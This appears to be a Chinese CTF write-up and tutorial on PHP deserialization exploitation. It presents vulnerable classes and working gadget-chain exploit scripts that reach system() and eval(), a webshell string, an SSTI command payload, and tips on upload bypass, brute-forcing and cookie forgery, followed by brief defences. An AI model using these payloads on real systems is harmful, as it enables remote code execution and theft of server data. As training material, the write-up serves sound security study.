polarctf2025夏季赛web
字数 1142 2025-09-01 11:26:17
PHP反序列化漏洞实战教学
1. 基础反序列化漏洞
1.1 基本原理
PHP反序列化漏洞发生在unserialize()函数处理用户可控数据时,攻击者可以构造恶意序列化数据来触发对象中的魔术方法,执行任意代码。
1.2 简单示例
<?php
class A {
public $cmd;
function __destruct() {
if (isset($this->cmd)) {
system($this->cmd);
}
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
@unserialize($data);
} else {
highlight_file(__FILE__);
}
利用方法:
- 构造恶意对象
- 序列化后作为参数传递
利用脚本:
<?php
class A {
public $cmd = 'cat /f*';
}
$obj = new A();
echo urlencode(serialize($obj));
?>
2. 复杂反序列化链构造
2.1 多级魔术方法调用
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
}
利用步骤:
- 设置
VulnerableClass的私有属性$debugMode=true - 将
$logger设置为FlagReader对象 - 触发
__destruct()时会输出$logger,调用__toString()
利用脚本:
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
}
class VulnerableClass {
public $logger;
private $debugMode = false;
}
$flag = new FlagReader();
$vuln = new VulnerableClass();
// 使用反射修改私有属性
$ref = new ReflectionClass($vuln);
$debugMode = $ref->getProperty('debugMode');
$debugMode->setAccessible(true);
$debugMode->setValue($vuln, true);
$vuln->logger = $flag;
$payload = serialize($vuln);
$base64_payload = base64_encode($payload);
if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $base64_payload)) {
echo "Payload: ".$base64_payload;
}
?>
3. 复杂调用链示例
<?php
class Read {
public $source;
public $is;
public function __toString() {
return $this->is->run("Read");
}
public function __wakeup() {
echo "Hello>>>".$this->source;
}
}
class Help {
public $source;
public $str;
public function Printf($what) {
echo "Hello>>>".$what;
echo "<br>";
return $this->str->source;
}
public function __call($name, $arguments) {
$this->Printf($name);
}
}
class Polar {
private $var;
public function getit($value) {
eval($value);
}
public function __invoke() {
$this->getit($this->var);
}
}
class Doit {
public $is;
private $source;
public function __construct() {
$this->is = array();
}
public function __get($key) {
$vul = $this->is;
return $vul();
}
}
调用链分析:
- 触发
Read::__wakeup()输出$source(另一个Read对象) - 触发
Read::__toString()调用$is->run()(实际为Help对象) - 触发
Help::__call()调用Printf() - 访问
$str->source(Doit对象)触发Doit::__get() __get()执行$is()(Polar对象)触发Polar::__invoke()__invoke()调用getit()执行eval($this->var)
利用脚本:
<?php
class Read { public $source; public $is; }
class Help { public $source; public $str; }
class Polar { private $var; }
class Doit { public $is; private $source; }
// 构造利用链
$polar = new Polar();
// 使用反射设置私有属性
$reflection = new ReflectionClass($polar);
$property = $reflection->getProperty('var');
$property->setAccessible(true);
$property->setValue($polar, "system('env');"); // 修改此处执行任意命令
$doit = new Doit();
$doit->is = $polar;
$help = new Help();
$help->str = $doit;
$read2 = new Read();
$read2->is = $help;
$read1 = new Read();
$read1->source = $read2;
// 生成payload
$payload = serialize($read1);
echo "Payload: ".urlencode($payload);
?>
4. 其他相关技术
4.1 文件上传绕过
MIME类型验证绕过:
- 修改HTTP请求的
Content-Type头为image/jpeg等合法类型 - 使用
fileinfo扩展检测真实MIME类型时,可以尝试在文件开头添加合法文件头
4.2 密码爆破
常见方法:
- 扫描目录获取密码本
- 使用工具如Burp Suite或Hydra进行爆破
- 常见弱密码尝试
4.3 SSTI (服务器端模板注入)
示例payload:
{{cycler.__init__.__globals__.os.popen('cat /var/secret_flag').read()}}
4.4 Cookie伪造
常见方法:
- 扫描目录获取管理员登录页面
- 将普通用户cookie中的用户信息改为admin
- 使用base64编码伪造认证信息
5. 防御措施
- 避免反序列化用户输入:尽量不要反序列化用户提供的数据
- 使用白名单:对反序列化的类进行限制
- 签名验证:对序列化数据进行签名验证
- 魔术方法审查:检查类中的魔术方法是否安全
- 私有属性处理:注意反射可能绕过私有属性限制
6. 实用工具
- PHPGGC:PHP反序列化payload生成工具
- Burp Suite:用于拦截和修改请求
- AntSword:中国蚁剑,Webshell管理工具
- Hydra:密码爆破工具
- DirBuster:目录扫描工具
通过以上技术点的学习和实践,可以全面掌握PHP反序列化漏洞的利用和防御方法。